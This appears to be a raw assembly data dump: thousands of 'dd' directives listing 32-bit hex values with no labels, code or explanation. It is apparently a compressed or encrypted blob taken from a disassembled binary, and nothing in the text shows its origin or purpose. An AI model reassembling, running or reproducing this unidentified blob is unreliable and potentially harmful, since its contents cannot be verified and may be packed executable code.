5A83EC0Ah dd 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch dd 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h dd 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h, 84C37210h dd 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h dd 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h, 0E676045h dd 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h dd 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h dd 10E06480h, 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh dd 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h dd 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh, 18D6BD0h dd 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h dd 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h dd 8BFC40h, 0DD8192C4h, 7245618Ah, 95D5BE00h, 552DD3FEh dd 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh dd 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh dd 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h dd 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h, 62C2BD7Ch dd 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h dd 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h dd 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh dd 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h dd 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch dd 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h dd 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah, 0B3AE9FFEh dd 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h dd 87C62A01h, 52F13547h, 34978C00h, 90CC8523h, 13040018h dd 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h, 0BCAF0390h dd 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh dd 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h dd 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h dd 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h dd 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h, 0B3CF9C0h dd 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh dd 4518E869h, 58C4CB1h, 0CE0D8007h, 40BE408Eh, 0C050B372h dd 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah dd 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h, 0AA984ED3h dd 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h, 290C0514h dd 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h, 42441453h dd 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h, 0BBB8B00h dd 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh dd 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h, 710D638h, 8478C337h dd 43126CFCh, 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh dd 4E01017h, 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h dd 0BB198C6Eh, 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh dd 1CA2CFh, 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h dd 1F20EA8Dh, 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h dd 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h dd 0B40B794h, 7D04C55h, 6122E02Bh, 856DA39Dh, 0E2B5ADD0h dd 700E1000h, 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch dd 0E0330981h, 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h dd 4B2EDE72h, 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h dd 70020728h, 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh dd 110BC340h, 993D143h, 27FAEF41h, 83488E82h, 1641A1E2h dd 1BCEFC5Ch, 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h dd 0AD21F088h, 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h dd 9914E5CFh, 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch dd 0AF103F21h, 65000838h, 0C440AC56h, 0B5714331h, 44E64101h dd 86F42922h, 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h dd 97000185h, 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h dd 0C9D2682Eh, 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh dd 0A2111013h, 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h dd 9AD8C400h, 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h dd 0C40D544h, 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh dd 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h dd 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h dd 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h dd 34B2B380h, 8D2A107h, 96044E00h, 9017A832h, 1F82EE10h dd 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch dd 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh dd 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h dd 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h dd 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh dd 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh dd 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h dd 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h dd 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch, 0C800EACAh dd 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh, 0D7D07881h dd 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh dd 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h, 17BD71Fh dd 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh, 76173E09h dd 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h dd 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h dd 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h, 59A08F88h dd 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch, 0F2D73B43h dd 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h dd 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh dd 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h dd 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h dd 0A54AFFh, 6DB69773h, 481A0D40h, 0B807D800h, 0F2A29DFEh dd 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h dd 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h dd 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh, 0EA21E30h dd 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh dd 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h dd 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h dd 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h dd 7C8B020h, 6214230Ch, 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h dd 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh dd 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh, 953B9D01h dd 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh, 0BB8DE805h dd 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h, 3300E90Ch dd 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh dd 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh dd 8233FDCh, 0FBC8C42h, 78C21259h, 1C941F60h, 0A472A7FFh dd 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh dd 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h dd 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h dd 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h, 0B0FF28B5h dd 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh dd 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h, 0B03DEB97h dd 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h dd 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h dd 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh, 24A0B609h dd 298C47E9h, 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h dd 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh dd 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h dd 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h dd 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h, 0BDE28D00h dd 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h dd 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh dd 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch, 0CB6EAE00h dd 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh, 1201E883h dd 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h dd 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h, 5D1EE933h dd 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h, 38002DE2h dd 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh, 0F2A4C010h dd 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh, 0A5E32858h dd 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch, 0F8E37D40h dd 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh dd 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh, 62F023h dd 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h, 0C0A24BFFh dd 8215E496h, 244C8900h, 0BCC2F408h, 70740127h, 4B5C7C3Dh dd 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h, 0C6083145h dd 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh, 48C800C3h dd 7E525F1h, 4C592D2Eh, 1A24E033h, 0D20031B0h, 585067D1h dd 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h dd 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch dd 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h dd 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h dd 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h dd 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h dd 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h, 0C4074B0h dd 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h, 0D846F2B8h dd 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh, 2C57C0B3h dd 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h, 5BD183BAh dd 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h dd 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h, 6226C3E9h dd 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h, 328230Eh dd 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h, 18F1EA46h dd 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h dd 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h dd 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh dd 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh dd 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h, 9809A25Bh dd 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h dd 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h dd 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h dd 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh dd 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah, 4034B81Eh dd 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh dd 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh dd 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh, 0B9071C09h dd 5AD09F7Bh, 347480BBh dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h, 9FEEF2A6h dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h, 0AA3E3EEFh dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h dd 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h, 4008006h dd 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h dd 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h, 7C6BF048h dd 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h dd 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h dd 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h, 0E3C0040Ch dd 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h, 1336F100h dd 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h dd 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h, 800006B8h dd 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h, 0D07E3580h dd 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h, 10B26E7Fh dd 38B7F0A9h, 0E4A8C200h, 64891555h, 2B7114h, 2051D7F6h dd 0D35A2C08h, 6FA0CE2Eh, 41A9F307h, 0ED155E0h, 0ACD93B4Ch dd 8B0F4B3Eh, 80A15061h, 6592D243h, 0BE8DF32h, 3CFA082Bh dd 0C5E52D0Fh, 5E34A787h, 21062090h, 7EF34CCCh, 48030800h dd 0F8F2AED4h, 94D79F00h, 2B12D63Fh, 88A91DD2h, 0F44240B8h dd 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h, 0E6550012h dd 23AB5FACh, 0B00C42Ch, 2EF49D04h, 0A43C30h, 0CE034C7Fh dd 0C941062h, 9F508800h, 12D71114h, 0F2570089h, 54521F1Dh dd 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h, 0F802108h dd 47E4A542h, 97487E01h, 0F08C638Eh, 70282E81h, 0F4EA0658h dd 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h, 0B31FC89h dd 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh, 7536EDE0h dd 3890F00h, 41AEC383h, 67F93D8Fh, 0F81FEB85h, 0A593802Fh dd 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h, 0E0D933F4h dd 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h, 27001653h dd 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h, 0D726812h dd 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h, 20D85B14h dd 76002734h, 402D4258h, 0C1F041h, 3905E624h, 5312EF97h dd 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h, 0F025BFC6h dd 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh, 32A221E6h dd 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h, 6FDE1A9Fh dd 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh dd 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h, 6011F121h dd 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h, 1E0FE368h dd 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh, 8E501847h dd 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch, 6FCCFB87h dd 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh, 0B21A3CF9h dd 64001F40h, 48C86B44h, 244C917Fh, 9223BFh, 55AD5442h dd 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h, 6F32255Ch dd 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h dd 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h, 0B70F70h dd 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h, 726A21ECh dd 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh dd 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch, 0A40310D5h dd 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h, 0AB05487Bh dd 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h, 6FE60B27h dd 331F0BEh, 1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah dd 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh dd 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh, 0DCB771ABh dd 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h, 1660C5E2h dd 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h, 72DF70C4h dd 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h, 0D003CDD6h dd 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh, 0B11EEC39h dd 0C58F3BCh, 7780BCAh, 0F4870063h, 2C4ABAh, 886F883h dd 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h, 0C3A33174h dd 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h, 10C46B1Dh dd 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h, 828F584h dd 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh, 35441FA2h dd 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh, 5B5458h dd 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh, 8B1C09CCh dd 0DDD402h, 803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h, 0F1FF1B0Eh dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h dd 302F1A8Ah, 16DD4C3h, 332F6225h, 0AF1870FBh, 5F5CC600h dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh, 0AC30E40h dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah, 1F0FAEEEh dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h, 0E723E0E3h dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h, 6E1E806Fh dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h, 80B340B2h dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h, 819F07C1h dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh, 41581F80h dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h dd 0B1814085h, 8747C087h, 864146CEh, 42678247h, 831C4380h dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h, 0C21E927Ch dd 204099B2h, 904210Ah dd 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh dd 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h dd 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h dd 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h dd 0F4154CF0h, 30F64Bh, 0A101B247h, 0E8217061h, 6E1BBB1Eh dd 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h, 6636E900h dd 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h dd 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h dd 9A8C0060h, 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h dd 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h, 0EE10595Dh dd 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh, 0C86FF488h dd 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h dd 16C60FFh, 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h dd 8DB38615h, 6FE82730h, 0EA42588Fh, 65315700h, 0DB85D873h dd 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h dd 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h dd 3D01C978h, 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h dd 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh, 0D3CCA396h dd 29A9B388h, 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h dd 88B83B75h, 50EAC702h, 0E37E5FFEh, 42588802h, 0BD41006Ch dd 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h dd 40C3D500h, 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h dd 0D339D05Bh, 7F9475C1h, 4D2E0390h, 5C258908h, 71F246F0h dd 0A5F34B00h, 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h dd 65C9C455h, 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h dd 5071025h, 6F4AC15Ch, 3A144143h, 0F01EBACAh, 18A886F7h dd 0B33C4E82h, 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h dd 950F24EEh, 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h dd 30B3718Fh, 10878021h, 52801E34h, 938013Ah, 97791257h dd 0F3C10E0h, 9472B84Ah, 0DE041DFDh, 8A6A0005h, 0FA9553F2h dd 448C64DEh, 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h dd 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h dd 141EEB67h, 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h dd 86164839h, 524A1CEh, 6F315314h, 20C897Ah, 48202523h dd 0C3001CBCh, 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h dd 2301206h, 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h dd 84000469h, 0B22A2041h, 296EECh, 1263F04Ah, 0AAB0740Bh dd 0B9E1C91Fh, 6B002812h, 38201042h, 0D6591F95h, 0A1880336h dd 13B01757h, 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h dd 0AD3F90BBh, 2C2864FEh, 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah dd 0C2D9093h, 18598832h, 90067D24h, 713F8CE3h, 3044802Bh dd 6625AB12h, 0C83CFE68h, 8905B4Bh, 0A5185020h, 4576D4C4h dd 0BCB0424h, 0C1F15ECAh, 708806A1h, 3A3D56ABh, 313F46h dd 165BF362h, 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h, 110F5D42h dd 1C041433h, 0F2D4D324h, 5F9C808Dh, 63E61559h, 78189C92h dd 0D230CCAh, 8921BDAFh, 0E2F89502h, 12E6C304h, 0B8F9BCF7h dd 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h dd 0CAA8204Ah, 7F2E148h, 57BEA22Ah, 54C221F9h, 0F1FC4AB3h dd 89B0C308h, 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h dd 84E07A9h, 500C56E0h, 0F4B8745Dh, 430D6800h, 0D0388817h dd 7685EA14h, 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh dd 1C1F700h, 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h dd 3CE9E827h, 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh dd 80899F4Ah, 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch dd 0EE881E45h, 44470399h, 9CF0E169h, 483AA63Bh, 0A9218057h dd 0B0683CE4h, 647585h, 0B80A7320h, 55357469h, 0C305E901h dd 0B448F87Eh, 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh dd 123BB222h, 95D300BCh, 5083440Dh, 0FE03380Fh, 17045257h dd 8908A314h, 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h dd 9E059CA9h, 0FE081380h, 749CB254h, 61800E1h, 2F23B459h dd 0FA03A25Ch, 6445A88Bh, 71C59088h, 804D01C3h, 8F26A69h dd 172DE4D3h, 5D277005h, 0F1ACBCB4h, 2B157300h, 0CBF956FBh dd 0A4E37A00h, 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h dd 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh, 19582163h, 60E4D7D1h dd 17039156h, 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 